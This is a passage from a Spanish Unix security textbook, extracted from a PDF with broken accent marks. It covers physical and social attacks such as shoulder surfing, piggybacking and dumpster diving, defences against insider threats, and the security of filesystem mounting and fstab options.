PCs utilizados por el personal de informaci´n de unos grandes almacenes de Valencia, en olos que aparec´ el nombre de usuario, la clave y el tel´fono de varios sistemas de la empresa; ıan ecualquiera que se acercase al mostrador pod´ leer y memorizar esta informaci´n sin problemas. ıa oEl shoulder surfing no siempre se ve beneficiado por la ingenuidad de los simples usuarios deun equipo; en determinadas ocasiones son los propios programadores (gente que te´ricamente ha ode saber algo m´s sobre seguridad que el personal de administraci´n o de atenci´n al p´blico) los a o o uque dise˜an aplicaciones muy susceptibles de sufrir ataques de este tipo. Por ejemplo, en ciertas naplicaciones – especialmente algunas que se ejecutan sobre MS Windows, y que son m´s o menos aantiguas – muestran claramente en pantalla las contrase˜as al ser tecleadas. Cualquiera situado ncerca de una persona que las est´ utilizando puede leer claramente esa clave; un perfecto ejemplo ade lo que no se debe hacer nunca.3.2.3 MasqueradingEl ataque denominado de masquerading o mascarada consiste simplemente en suplantar la identi-dad de cierto usuario autorizado de un sistema inform´tico o su entorno; esta suplantaci´n puede a orealizarse electr´nicamente – un usuario utiliza para acceder a una m´quina un login y password o aque no le pertenecen – o en persona. En este punto hablaremos brevemente de este ultimo caso, la ´suplantaci´n en persona, un ataque relativo tanto a la seguridad f´ o ısica del entorno de operacionescomo a la seguridad del personal.La mascarada no es un ataque habitual en entornos normales; en estos, o bien existen ´reas deaacceso semip´blico, donde un atacante no tiene que hacer nada especial para conseguir acceso – y upor tanto no cabe hablar de masquerading – o bien ´reas de acceso restringido pero controlado por ael propio personal de la organizaci´n, como despachos o laboratorios. En este caso un ataque v´ o ıamascarada no suele ser efectivo, ya que es muy f´cil detectar al intruso (otro tema ser´ si realmente a ıase toma alguna medida al detectarlo o simplemente se le deja seguir, ah´ ya entrar´ en juego la ı ıaformaci´n de los usuarios) por tratarse de ´reas dentro de las cuales todo el personal ‘habitual’ se o aconoce. El masquerading es m´s habitual en entornos donde existen controles de acceso f´ a ısico, ydonde un intruso puede ‘enga˜ar’ al dispositivo – o persona – que realiza el control, por ejemplo con nuna tarjeta de identificaci´n robada que un lector acepta o con un carn´ falsificado que un guardia o ede seguridad da por bueno.Una variante del masquerading lo constituye el ataque denominado piggybacking, que consiste sim-plemente en seguir a un usuario autorizado hasta un ´rea restringida y acceder a la misma gracias aa la autorizaci´n otorgada a dicho usuario. Contra esto se deben aplicar las mismas medidas que ocontra la mascarada f´ısica: controles de acceso estrictos, y convenientemente verificados. Los ejem-plos de piggybacking son muy habituales: desde un atacante que se viste con un mono de trabajo yque carga con un pesado equipo inform´tico en la puerta de una sala de operaciones, para que justo acuando un usuario autorizado llegue le abra dicha puerta y le permita el acceso por delante del
  • 38 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONALguardia de seguridad, hasta la cl´sica an´cdota que todos los auditores explican como suya, sobre a eel reconocedor de tarjetas inteligentes que abre la puerta de una sala pero que una vez abierta no sepreocupa en contar cuantas personas la atraviesan, podr´ ıamos estar durante d´ dando ejemplos ıasde ataques exitosos utilizando la t´cnica del piggybacking. e3.2.4 BasureoLa t´cnica del basureo (en ingl´s, scavenging) est´ relacionada tanto con los usuarios como con la e e aseguridad f´ ısica de los sistemas, de la que hemos hablado en el anterior cap´ ıtulo; consiste en ob-tener informaci´n dejada en o alrededor de un sistema inform´tico tras la ejecuci´n de un trabajo o a o([Par81]). El basureo puede ser f´ısico, como buscar en cubos de basura (trashing, traducido tam-bi´n por basureo) listados de impresi´n o copias de documentos, o l´gico, como analizar buffers de e o oimpresoras, memoria liberada por procesos, o bloques de un disco que el sistema acaba de marcarcomo libres, en busca de informaci´n. oAunque esta t´cnica no es muy utilizada en la mayor´ de entornos, hemos de pensar que si un e ıausuario tira a la basura documentos que proporcionen informaci´n sobre nuestro sistema, cualquier opotencial atacante puede aprovechar esa informaci´n para conseguir acceder al equipo; algo tan osimple como una factura en la que se especifiquen n´meros de tel´fono o nombres (reales o de u eentrada al sistema) de usuarios puede convertirse en una valiosa informaci´n para un atacante. oAdem´s, en ocasiones ni siquiera es necesario andar revolviendo por los cubos de basura en busca ade informaci´n comprometedora: la carencia de nociones b´sicas sobre seguridad inform´tica hace o a aposible que los usuarios dejen al alcance de cualquiera informaci´n vital de cara a mantener un sis- otema seguro. Personalmente, en un aula de inform´tica de la Universidad Polit´cnica de Valencia a eencontr´ por casualidad una hoja de papel que estaba siendo utilizada a modo de alfombrilla para eel rat´n; esta hoja era una carta personalizada que el director de la Escuela T´cnica Superior de o eIngenieros Industriales hab´ enviado a cada alumno de esa escuela para informarles de sus nuevas ıaclaves de acceso a ciertos recursos de la universidad, ya que las anteriores hab´ tenido que ser ıancambiadas porque un pirata las captur´. Con esa sencilla hoja de papel (en la figura 3.1 se muestra ouna copia – con los datos importantes ocultos, en el original no hay nada ‘censurado’ –) cualquierapodr´ haber le´ el correo de ese usuario, utilizar su acceso remoto de la universidad, curiosear ıa ıdoen su expediente o participar en foros de asignaturas bajo la identidad del usuario atacado.Como hemos dicho el basureo no es un ataque habitual en organizaciones ‘normales’, simplementeporque los datos con los que estan trabajan no suelen ser de alta confidencialidad. De cualquierforma, si deseamos evitar problemas lo m´s inmediato es utilizar una m´quina trituradora de pa- a apel (su precio no suele ser prohibitivo, y la inversi´n quiz´s valga la pena) para destruir toda la o adocumentaci´n antes de arrojarla a la basura; incluso nos puede interesar contratar los servicios de ocompa˜´ dedicadas exclusivamente a la destrucci´n de estos soportes. En el caso de sistemas de nıas oalmacenamiento l´gico (discos, CD-ROMs, cintas. . . ) tambi´n es importante una correcta inutiliza- o eci´n de los mismos para que un potencial atacante no pueda extraer informaci´n comprometedora; o ono suele ser suficiente el simple borrado del medio o un leve da˜o f´ n ısico (por ejemplo, partir un CD-ROM), ya que como comentaremos al hablar de recuperaci´n de datos existen empresas capaces de oextraer hasta el ultimo bit de un medio borrado o da˜ado. Lo m´s efectivo ser´ un borrado seguro, ´ n a ıaseguido de una destrucci´n f´ o ısica importante que haga imposible la reconstrucci´n del medio. o3.2.5 Actos delictivosBajo este nombre englobamos actos tipificados claramente como delitos por las leyes espa˜olas, ncomo el chantaje, el soborno o la amenaza. Esto no implica que el resto de actividades no sean(o deban ser) delitos, sino simplemente que en la pr´ctica a nadie se le castiga ‘legalmente’ por apasear por una sala de operaciones en busca de claves apuntadas en teclados, pero s´ que se le ıpuede castigar por amenazar a un operador para que le permita el acceso al sistema.
  • 3.2. ATAQUES POTENCIALES 39 Figura 3.1: El resultado de un basureo involuntario.
  • 40 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONALPor suerte, la naturaleza de la informaci´n con la que se trabaja en la mayor parte de entor- onos hace poco probable que alguien amenaze o chantajee a un operador para conseguir ciertosdatos; al tratarse de informaci´n poco sensible, en la mayor´ de situaciones los atacantes no llegan o ıaa estos extremos para acceder al sistema, sino que utilizan procedimientos menos arriesgados comola ingenier´ social o la captura de datos que viajan por la red. No obstante, si en alguna ocasi´n ıa onos encontramos en estas situaciones, siempre es conveniente la denuncia; aunque en principio po-damos ceder ante las presiones de un delincuente, hemos de tener presente que si mostramos ciertadebilidad, una vez que ´ste consiga sus prop´sitos nada le va a impedir seguir amenaz´ndonos o e o achantaje´ndonos para obtener m´s informaci´n. Si actuamos con la suficiente discrecci´n, las au- a a o otoridades pueden f´cilmente llevar al individuo ante la justicia sin necesidad de grandes esc´ndalos a aque pueden afectar gravemente a la imagen de nuestra organizaci´n. o3.3 ¿Qu´ hacer ante estos problemas? eLa soluci´n a problemas relacionados con el personal es con frecuencia mucho m´s compleja que o ala de problemas de seguridad l´gica o seguridad de la red: mientras que un administrador puede oaprovechar herramientas de seguridad, capacidades del sistema operativo, o cifrado de datos paraprevenir ciertos ataques, es mucho m´s dif´ para ´l concienciar a los usuarios de unas m´ a ıcil e ınimasmedidas de prevenci´n o convencer a un guardia de seguridad de que s´lo deje acceder a la sala de o ooperaciones a un n´mero restringido de personas. uGeneralmente los usuarios de m´quinas Unix en entornos habituales son personas muy poco forma- adas en el manejo del sistema operativo, y mucho menos en lo que a seguridad inform´tica se refiere; ase suele tratar de usuarios que s´lo utilizan la m´quina para ejecutar aplicaciones muy concretas o a(simulaciones, compiladores, gesti´n del correo electr´nico, aplicaciones cient´ o o ıficas. . . relacionadascon su ´rea de trabajo), y cuya unica preocupaci´n es que sus datos est´n listos cuando los requie- a ´ o eren, de la forma m´s f´cil y r´pida posible. Incluso el administrador de ciertos sistemas es uno de a a aestos usuarios, elegido dentro del grupo (o mucho peor, son todos los usuarios). Evidentemente,resulta muy dif´ concienciar a estas personas de la necesidad de seguridad en el entorno; posturas ıcilcomo ‘no importa que mi clave sea d´bil, s´lo utilizo la cuenta para imprimir con la l´ser’ son por e o adesgracia demasiado frecuentes. El responsable de seguridad ha de concienciar a todas estas perso-nas de la necesidad de la seguridad para que el entorno de trabajo funcione como se espera de ´l; ela seguridad inform´tica se ha de ver como una cadena que se rompe si falla uno de sus eslabones: ano importa que tengamos un sistema de cifrado resistente a cualquier ataque o una autenticaci´n ofuerte de cualquier entidad del sistema si un intruso es capaz de obtener un nombre de usuario consu correspondiente contrase˜a simplemente llamando por tel´fono a una secretaria. n eAdem´s de concienciaci´n de los usuarios y administradores en cuanto a seguridad se refiere (esto a o ´ser´ el que), para conseguir un sistema fiable es necesaria la formaci´n de los mismos (el como). ıa o ´De la misma forma que a nadie se le ocurre conducir sin tener unos conocimientos b´sicos sobre un aautom´vil, no deber´ ser tan habitual que la gente utilice o administre Unix sin unos conocimientos o ıaprevios del sistema operativo. Evidentemente, a un qu´ ımico que utiliza el sistema para simular elcomportamiento de determinada sustancia bajo ciertas condiciones no se le puede exigir un cursointensivo o unos grandes conocimientos de mecanismos de seguridad en Unix; pero s´ que ser´ı ıarecomendable que conozca unas ideas b´sicas (volviendo al ejemplo del autom´vil, para conducir a oun coche a nadie se le exige ser un as de la mec´nica, pero s´ unas cualidades m´ a ı ınimas). Estasideas b´sicas se pueden incluso resumir en una hoja que se le entregue a cada usuario al darlos de aalta en el sistema. Si pasamos a hablar de administradores, s´ que ser´ recomendable exigirles un ı ıacierto nivel de conocimientos de seguridad, nivel que se puede adquirir simplemente leyendo alg´n li- ubro (especialmente recomendado ser´ [GS96] o, para los que dispongan de menos tiempo, [RCG96]). ıaUn grupo de personas m´s delicado si cabe es el conjunto formado por todos aquellos que no ason usuarios del sistema pero que en cierta forma pueden llegar a comprometerlo. Por ejemplo,
  • 3.4. EL ATACANTE INTERNO 41en este conjunto encontramos elementos tan diversos como guardias de seguridad que controlen elacceso a las instalaciones inform´ticas o personal de administraci´n y servicios que no utilicen el a osistema pero que tengan acceso f´ ısico a ´l, como electricistas, bedeles o personal de limpieza. Sin eentrar en temas que seguramente no son aplicables a los sistemas habituales, como el espionajeindustrial o el terrorismo de alta magnitud2 , simplemente hemos de concienciar y ense˜ar a estos n‘usuarios’ unas medidas b´sicas a tomar para no poner en peligro nuestra seguridad; estas medidas adependen por supuesto de la funci´n de cada unas personas realice. oPero, ¿qu´ sucede cuando el personal de nuestra propia organizaci´n produce ataques (y no ac- e ocidentes) sobre nuestros sistemas? En este caso las consecuencias pueden ser grav´ ısimas, y portanto las medidad de protecci´n y detecci´n han de ser estrictas. Se ha de llevar a cabo un control o oestricto de las actividades que se realizan en la organizaci´n, por ejemplo mediante pol´ o ıticas quehan de ser de obligado cumplimiento, as´ como un control de acceso a todos los recursos de los ıque disponemos (mediante mecanismos de autenticaci´n de usuarios, alarmas, etc.). Adem´s, las o asanciones en caso de incumplimiento de las normas han de ser efectivas y ejemplares: si un usuarioviola intencionadamente nuestra seguridad y no se le sanciona adecuadamente, estamos invitando alresto de usuarios a que hagan lo mismo. En el punto siguiente vamos a hablar con m´s profundidad ade estos atacantes, denominados internos.3.4 El atacante internoEn el punto anterior hemos presentado al personal de nuestra organizaci´n como v´ o ıctima de losataques realizados por agentes externos a la misma; sin embargo, seg´n [Cow92] el 80% de los ufraudes, robos, sabotajes o accidentes relacionados con los sistemas inform´ticos son causados por ael propio personal de la organizaci´n propietaria de dichos sistemas, lo que se suele denominar oel insider factor. ¿Qu´ significa esto? Principalmente que la mayor amenaza a nuestros equipos eviene de parte de personas que han trabajado o trabajan con los mismos. Esto, que es realmentepreocupante, lo es mucho m´s si analizamos la situaci´n con un m´ a o ınimo de detalle: una personaque trabaje codo a codo con el administrador, el programador, o el responsable de seguridad deuna m´quina conoce perfectamente el sistema, sus barreras, sus puntos d´biles. . . de forma que un a eataque realizado por esa persona va a ser much´ ısimo m´s directo, dif´ de detectar, y sobre todo, a ıcilefectivo, que el que un atacante externo (que necesita recopilar informaci´n, intentar probar fallos ode seguridad o conseguir privilegios) pueda ejecutar.Pero, ¿por qu´ va a querer alguien atacar a su propia organizaci´n? ¿Por qu´ alguien va a arries- e o egarse a perder su trabajo, romper su carrera o incluso a ir a la c´rcel? Como se acostumbra a decir, atodos tenemos un precio; no importa lo honestos que seamos o que queramos creer que somos: dine-ro, chantaje, factores psicol´gicos. . . nos pueden arrastrar a vender informaci´n, a robar ficheros o o osimplemente a proporcionar acceso a terceros que se encarguen del trabajo sucio. En una empresa,un empleado puede considerarse mal pagado e intentar conseguir un sueldo extra a base de venderinformaci´n; en un banco, alguien que a diario trabaje con los sistemas inform´ticos puede darse o acuenta de la facilidad para desviar fondos a una cuenta sin levantar sospechas; en una base militar,un pa´ enemigo puede secuestrar a la mujer de un administrador para que ´ste les pase informaci´n ıs e oconfidencial. Existen numerosos estudios ([SM70], [CC86], [HC83], [Kat88], [Rei89]. . . ) que tratande explicar los motivos que llevan a una persona a cometer delitos, inform´ticos o no, contra su apropia organizaci´n, pero sea cual sea el motivo la cuesti´n est´ en que tales ataques existen, son o o anumerosos, y hay que tomar medidas contra ellos.¿C´mo prevenir o defendernos de los atacantes internos? En una empresa, una norma b´sica o aser´ verificar el curriculum de cualquier aspirante a nuevo miembro (no simplemente leerlo y dar- ıalo por bueno, sino comprobar los datos y directamente descartar al aspirante si se detecta unamentira); si buscamos algo m´s de seguridad – por ejemplo, sistemas militares – tambi´n es re- a e 2 Temas que habr´ que tener en cuenta en otro tipo de redes. ıa
  • 42 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONALcomendable investigar el pasado de cada aspirante a pertenecer a la organizaci´n, buscando sobre otodo espacios en blanco durante los que no se sabe muy bien qu´ ha hecho o a qu´ se ha dedicado e eesa persona (¿qui´n nos asegura que ese par´ntesis de tres a˜os durante los que el aspirante asegura e e nque estuvo trabajando para una empresa extranjera no los pas´ realmente en la carcel por delitos oinform´ticos?). Si siguiendo ejemplos como estos podemos asegurar la integridad de todos los que aentran a formar parte del equipo, habremos dado un importante paso en la prevenci´n de ataques ointernos.Tampoco debemos olvidar que el hecho de que alguien entre ‘limpio’ a nuestra organizaci´n no oimplica que vaya a seguir as´ durante el tiempo que trabaje para nosotros, y mucho menos cuando ıabandone su trabajo. Para minimizar el da˜o que un atacante interno nos puede causar se suelen nseguir unos principios fundamentales ([Smi92], [GS96], [Pla83]. . . ) que se aplican sobre el personalde la empresa: • Necesidad de saber (Need to know) o m´ ınimo privilegio A cada usuario se le debe otorgar el m´ınimo privilegio que necesite para desepe˜ar correc- n tamente su funci´n, es decir, se le debe permitir que sepa s´lamente lo que necesita para o o trabajar. De esta forma, un programador no tiene por qu´ conocer las pol´ e ıticas de copia de seguridad de la m´quina, ni un alumno tiene que poseer privilegios en un sistema de pr´cticas. a a • Conocimiento parcial (Dual Control) Las actividades m´s delicadas dentro de la organizaci´n en cuanto a seguridad se refiere a o (por ejemplo, el conocimiento de la clave de root de una m´quina) deben ser realizadas por a dos personas competentes, de forma que si uno de ellos comete un error o intenta violar las pol´ ıticas de seguridad el otro pueda darse cuenta r´pidamente y subsanarlo o evitarlo. De a la misma forma, aplicar este principio asegura que si uno de los responsables abandona la organizaci´n o tiene un accidente el otro pueda seguir operando los sistemas mientras una o nueva persona sustituye a su compa˜ero. n • Rotaci´n de funciones o Quiz´s la mayor amenaza al conocimiento parcial es la potencial complicidad que los dos a responsables de cierta tarea puedan llegar a establecer, de forma que entre los dos sean capaces de ocultar las violaciones de seguridad que nuestros sistemas puedan sufrir; incluso puede suceder lo contrario: que ambas personas sean enemigos y esto repercuta en el buen funcionamiento de la pol´ ıtica de seguridad establecida. Para evitar ambos problemas, una norma com´n es rotar – siempre dentro de unos l´ u ımites – a las personas a lo largo de diferentes responsabilidades, de forma que a la larga todos puedan vigilar a todos; esto tambi´n es muy e util en caso de que alguno de los responsables abandone la organizaci´n, ya que en este caso ´ o sus tareas ser´n cubiertas m´s r´pidamente. a a a • Separaci´n de funciones o No es en absoluto recomendable que una sola persona (o dos, si establecemos un control dual) posea o posean demasiada informaci´n sobre la seguridad de la organizaci´n; es necesario que o o se definan y separen correctamente las funciones de cada persona, de forma que alguien cuya tarea es velar por la seguridad de un sistema no posea ´l mismo la capacidad para violar dicha e seguridad sin que nadie se percate de ello.Si aplicamos correctamente los principios anteriores en nuestra pol´ıtica de personal vamos a evitarmuchos problemas de seguridad, no s´lo cuando un usuario trabaja para nuestro entorno sino lo oque es igual de importante, cuando abandona la organizaci´n. Cuando esto sucede se debe cancelar oinmediatamente el acceso de esa persona a todos nuestros recursos (cuentas de usuario, serviciode acceso remoto, unidades de red. . . ), y tambi´n cambiar las claves que ese usuario conoc´ Es- e ıa.pecialmente en los entornos de I+D quiz´s esto es algo complicado debido a la gran movilidad de ausuarios (un profesor invitado durante un mes a la universidad, un proyectando que s´lo necesita oacceso a una m´quina mientras que realiza su proyecto. . . ), por lo que es aqu´ donde se suelen a ıver mayores barbaridades en los sistemas: desde cuentas que hace a˜os que no se utilizan hasta n
  • 3.4. EL ATACANTE INTERNO 43direcciones de correo de gente que dej´ de trabajar para la organizaci´n hace a˜os. Evidentemente, o o neste tipo de cosas son muy preocupantes para la seguridad, y es justo en estos accesos no utilizadosdonde un atacante puede encontrar una de las mejores puertas de entrada a los sistemas: simple-mente hemos de pensar que si el usuario de una cuenta hace a˜os que no la utiliza, por l´gica hace n oa˜os que esa clave no se cambia. nHasta ahora hemos hablado principalmente de los problemas que nos pueden causar las perso-nas que trabajan para la organizaci´n; no obstante, las redes de I+D son bastante peculiares a la ohora de hablar de ataques internos. Se trata de sistemas en los que un elevado n´mero de usuarios u– los alumnos – puede considerar un reto personal o intelectual (?) saltarse las medidas de pro-tecci´n impuestas en la red; adem´s, y especialmente en universidades t´cnicas, por la naturaleza o a ede sus estudios muchos alumnos llegan a poseer elevados conocimientos sobre sistemas operativosy redes, lo que evidentemente es un riesgo a˜adido: no es lo mismo proteger de ataques internos nuna m´quina Unix en una Facultad de Derecho, donde a priori muy pocos alumnos tendr´n el a ainter´s o los conocimientos suficientes para saltarse la seguridad del sistema, que en una Facultad ede Inform´tica, donde el que m´s y el que menos tiene nociones de seguridad o de Unix y a diario a ase trabaja en estos entornos.Las normas vistas aqu´ seguramente se pueden aplicar sobre el personal de la organizaci´n, pero ı ono sobre los alumnos (que es justamente de quienes provienen la mayor´ de ataques): no pode- ıamos obligar a un alumno de nuevo ingreso a que nos muestre un resumen de su vida, ni muchomenos tenemos capacidad para verificar los datos de treinta o cincuenta mil alumnos. Incluso sipudi´ramos, ¿ser´ legal o ´tico denegar el acceso a la universidad a alguien con antecedentes pe- e ıa enales, por ejemplo? Seguramente no. . . De esta forma, en organismos de I+D nos debemos ce˜ir a notros mecanismos de prevenci´n, por ejemplo en forma de sanciones ejemplares para todos aquellos oque utilicen los recursos del centro para cometer delitos inform´ticos; sin llegar a los tribunales, las aposibles penas impuestas dentro de la universidad son a veces m´s efectivas que una denuncia en ael juzgado, donde los piratas incluso despiertan cierta simpat´ entre muchos abogados y jueces. ıa
  • 44 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL
  • Parte IISeguridad del sistema 45
  • Cap´ ıtulo 4El sistema de ficheros NOTA: Obviamente, en este cap´ ıtulo no hablaremos del tratamiento de ficheros (crea- ci´n, borrado, modificaci´n, jerarqu´ de directorios. . . ), sino de temas referentes a la o o ıa seguridad de los archivos y el sistema de ficheros. Para informaci´n sobre la gesti´n o o de ficheros se puede consultar cualquier obra que estudie Unix desde una perspectiva general, como [TY82], [CR94] o [Man91]. Para un conocimiento m´s profundo sobre los a ficheros y los sistemas de archivos se puede consultar [Tan91], [Bac86] (bsd), [GC94] (System V) o, en el caso de Linux, [CDM97] o [BBD+ 96].4.1 Introducci´n oDentro del sistema Unix todo son archivos: desde la memoria f´ ısica del equipo hasta el rat´n, pa- osando por m´dems, teclado, impresoras o terminales. Esta filosof´ de dise˜o es uno de los factores o ıa nque m´s ´xito y potencia proporciona a Unix ([KP84]), pero tambi´n uno de los que m´s peligros a e e aentra˜a: un simple error en un permiso puede permitir a un usuario modificar todo un disco duro no leer los datos tecleados desde una terminal. Por esto, una correcta utilizaci´n de los permisos, oatributos y otros controles sobre los ficheros es vital para la seguridad de un sistema.En un sistema Unix t´ ıpico existen tres tipos b´sicos de archivos: ficheros planos, directorios, y aficheros especiales (dispositivos) 1 ; generalmente, al hablar de ficheros nos solemos referir a todosellos si no se especifica lo contrario. Los ficheros planos son secuencias de bytes que a priori noposeen ni estructura interna ni contenido significante para el sistema: su significado depende de lasaplicaciones que interpretan su contenido. Los directorios son archivos cuyo contenido son otrosficheros de cualquier tipo (planos, m´s directorios, o ficheros especiales), y los ficheros especiales ason ficheros que representan dispositivos del sistema; este ultimo tipo se divide en dos grupos: los ´dispositivos orientados a car´cter y los orientados a bloque. La principal diferencia entre ambos aes la forma de realizar operaciones de entrada/salida: mientras que los dispositivos orientados acar´cter las realizan byte a byte (esto es, car´cter a car´cter), los orientados a bloque las realizan a a aen bloques de caracteres.El sistema de ficheros es la parte del n´cleo m´s visible por los usuarios; se encarga de abstraer u apropiedades f´ ısicas de diferentes dispositivos para proporcionar una interfaz unica de almacena- ´miento: el archivo. Cada sistema Unix tiene su sistema de archivos nativo (por ejemplo, ext2 enLinux, ufs en Solaris o efs en IRIX), por lo que para acceder a todos ellos de la misma forma eln´cleo de Unix incorpora una capa superior denominada VFS (Virtual File System) encargada de uproporcionar un acceso uniforme a diferentes tipos de sistema de ficheros.Un inodo o nodo ´ ındice es una estructura de datos que relaciona un grupo de bloques de un 1 Otros tipos de archivos, como los enlaces simb´licos, los sockets o los pipes no los vamos a tratar aqu´ o ı. 47
  • 48 CAP´ ITULO 4. EL SISTEMA DE FICHEROSdispositivo con un determinado nombre del sistema de ficheros. Internamente, el n´cleo de Unix uno distingue a sus archivos por su nombre sino por un n´mero de inodo; de esta forma, el fichero ucon n´mero de inodo 23421 ser´ el mismo tanto si se denomina /etc/passwd como si se denomina u a/usr/fichero. Mediante la orden ln(1) se pueden asignar a un mismo inodo varios nombres defichero diferentes en el sistema de archivos.4.2 Sistemas de ficherosCuando un sistema Unix arranca una de las tareas que obligatoriamente ha de realizar es incorporardiferentes sistemas de ficheros – discos completos, una partici´n, una unidad de CD-ROM. . . – a ola jerarqu´ de directorios Unix; este proceso se llama montaje, y para realizarlo generalmente se ıautiliza la orden mount. Es obligatorio montar al menos un sistema de ficheros durante el arranque,el sistema ra´ (‘/’), del que colgar´n todos los dem´s. ız a aMontar un sistema de ficheros no significa m´s que asociar un determinado nombre de directo- ario, denominado mount point o punto de montaje, con el sistema en cuesti´n, de forma que al outilizar dicha ruta estaremos trabajando sobre el sistema de ficheros que hemos asociado a ella.Para saber qu´ sistemas de ficheros se han de montar en el arranque de la m´quina, y bajo qu´ e a enombre de directorio, Unix utiliza un determinado archivo; aunque su nombre depende del clonutilizado (/etc/vfstab en Solaris, /etc/fstab en Linux. . . ), su funci´n – e incluso su sintaxis – oes siempre equivalente. Un ejemplo de este fichero es el siguiente: luisa:~# cat /etc/fstab /dev/hda3 / ext2 defaults 1 1 /dev/hda4 /home ext2 defaults 1 2 none /proc proc defaults 1 1 luisa:~#Cuando el sistema arranque, el fichero anterior viene a indicar que en /dev/hda3 se encuentra elsistema de ficheros ra´ de tipo ext2 (el habitual en Linux), y que se ha de montar con las opciones ız,que se toman por defecto. La segunda l´ ınea nos dice que /home es un sistema diferente del anterior,pero del mismo tipo y que se montar´ con las mismas opciones; finalmente, la ultima entrada hace a ´referencia al directorio /proc/, donde se encuentra un sistema de ficheros especial que algunosUnices utilizan como interfaz entre estructuras de datos del n´cleo y el espacio de usuario (no en- utraremos en detalles con ´l). Si cualquiera de las entradas anteriores fuera err´nea, el sistema o bien e ono arrancar´ o bien lo har´ incorrectamente. Por lo que evidentemente el fichero /etc/fstab o ıa ıasus equivalentes ha de ser s´lo modificable por el root, aunque nos puede interesar – como veremos oluego – que los usuarios sin privilegios puedan leerlo.Lo visto hasta aqu´ no suele representar ning´n problema de seguridad en Unix; si hemos di- ı ucho que no hablar´ ıamos de aspectos generales de los sistemas de ficheros, ¿por qu´ comentamos eeste aspecto? Muy sencillo: diferentes problemas radican en una gesti´n incorrecta del montaje ode sistemas de ficheros. Por ejemplo, algo muy habitual en un atacante que consigue privilegiosde administrador en una m´quina es instalar ciertas utilidades que le permitan seguir gozando de aese privilegio (por ejemplo, un rootkit o un simple shell setuidado); si guarda el fichero setuidado –hablaremos m´s tarde de estos permisos ‘especiales’ – en cualquier directorio de nuestro sistema, asu localizaci´n ser´ muy r´pida: una orden tan simple como find nos alertar´ de su presencia. o a a aEn cambio, ¿qu´ sucede si el atacante utiliza una parte del sistema de ficheros oculta? Cuando emontamos un sistema bajo un nombre de directorio, todo lo que hab´ en ese directorio desaparece ıade la vista, y es sustituido por el contenido del sistema montado; no volver´ a estar accesible hasta aque no desmontemos el sistema: luisa:~# mount /dev/hda3 on / type ext2 (rw) /dev/hda4 on /home type ext2 (rw)
  • 4.2. SISTEMAS DE FICHEROS 49 none on /proc type proc (rw) luisa:~# ls /home/ ftp/ toni/ lost+found/ luisa:~# umount /home luisa:~# ls /home/ luisa:~#El atacante puede desmontar una parte de nuestra jerarqu´ de directorios, guardar ah´ ciertos ıa ıficheros, y volver a montar el sistema que hab´ anteriormente; localizar esos archivos puede ser ıacomplicado, no por motivos t´cnicos sino porque a muy poca gente se le ocurre hacerlo. La orden encheck, existente en Unices antiguos, puede detectar estos ficheros ocultos bajo un mount point; sino disponemos de esta utilidad podemos buscar por Internet aplicaciones que consiguen lo mismo,o simplemente desmontar manualmente los sistemas (a excepci´n del ra´ y comprobar que no hay o ız)nada oculto bajo ellos.El tema de desmontar sistemas de ficheros tambi´n puede ocasionar alg´n dolor de cabeza a muchos e uadministradores; aunque no se trata de algo estrictamente relativo a la seguridad, vamos a comentarun problema t´ ıpico que se podr´ considerar incluso una negaci´n de servicio (no causada por un ıa ofallo de Unix sino por el desconocimiento del administrador). En ocasiones, al intentar desmontarun sistema de ficheros, encontramos el siguiente resultado: luisa:~# umount /home/ umount: /home: device is busy luisa:~#¿Qu´ sucede? Simplemente que existe un determinado proceso haciendo uso de recursos bajo ese enombre de directorio. Hasta que dicho proceso no finalice (por las buenas o por las malas), ser´ aimposible desmontar el sistema; es f´cil determinar de qu´ proceso se trata – y posteriormente a eeliminarlo – mediante la orden fuser.Otro problema cl´sico de los sistemas de ficheros viene de la necesidad que en muchos entor- anos existe de permitir a los usuarios – sin privilegios – montar y desmontar sistemas de ficheros(t´ ıpicamente, discos flexibles o CD-ROMs). Por ejemplo, imaginemos un laboratorio de m´quinasaUnix donde es deseable que todos los usuarios puedan acceder a la disquetera, tanto para copiarpr´cticas realizadas en casa como para hacer una copia de las que se han hecho en el propio labo- aratorio (este es uno de los casos m´s frecuentes en cualquier organizaci´n). Unix permite dar una a osoluci´n r´pida a este problema, pero esta soluci´n puede convertirse en una amenaza a la seguridad o a osi no es implantada correctamente:Al hablar de /etc/fstab hemos comentado el montaje con ciertas opciones tomadas por defec-to; dichas opciones son – en el caso de Linux, consultar la p´gina del manual de mount en otros asistemas – ‘rw’ (se permite tanto la lectura como la escritura), ‘suid’ (se permite la existencia deficheros setuidados), ‘dev’ (se permite la existencia de dispositivos), ‘exec’ (se permite la ejecu-ci´n de binarios), ‘auto’ (el sistema se monta autom´ticamente al arrancar o al utilizar mount -a), o a‘nouser’ (s´lo puede ser montado por el root) y ‘async’ (la entrada/salida sobre el dispositivo se orealiza de forma as´ıncrona). Evidentemente, se trata de las opciones m´s l´gicas para sistemas de a oficheros ‘normales’, pero no para los que puedan montar los usuarios; si deseamos que un usuariosin privilegios pueda montar y desmontar cierto dispositivo, hemos de especificar la opci´n ‘user’ oen la entrada correspondiente de /etc/fstab. Parece l´gico tambi´n utilizar ‘noauto’ para que o eel sistema no se monte autom´ticamente en el arranque de la m´quina (si esto sucediera, el root a atendr´ que desmontar la unidad manualmente para que otros usuarios puedan montarla), pero ıaotras opciones importantes no son tan inmediatas. Es imprescindible que si permitimos a unusuario montar una unidad utilicemos ‘nodev’, de forma que si en el sistema montado existen fi-cheros de tipo dispositivo (por ejemplo, un archivo que haga referencia a nuestros discos duros) esefichero sea ignorado; en caso contrario, cualquiera podr´ acceder directamente a nuestro hardware, ıa
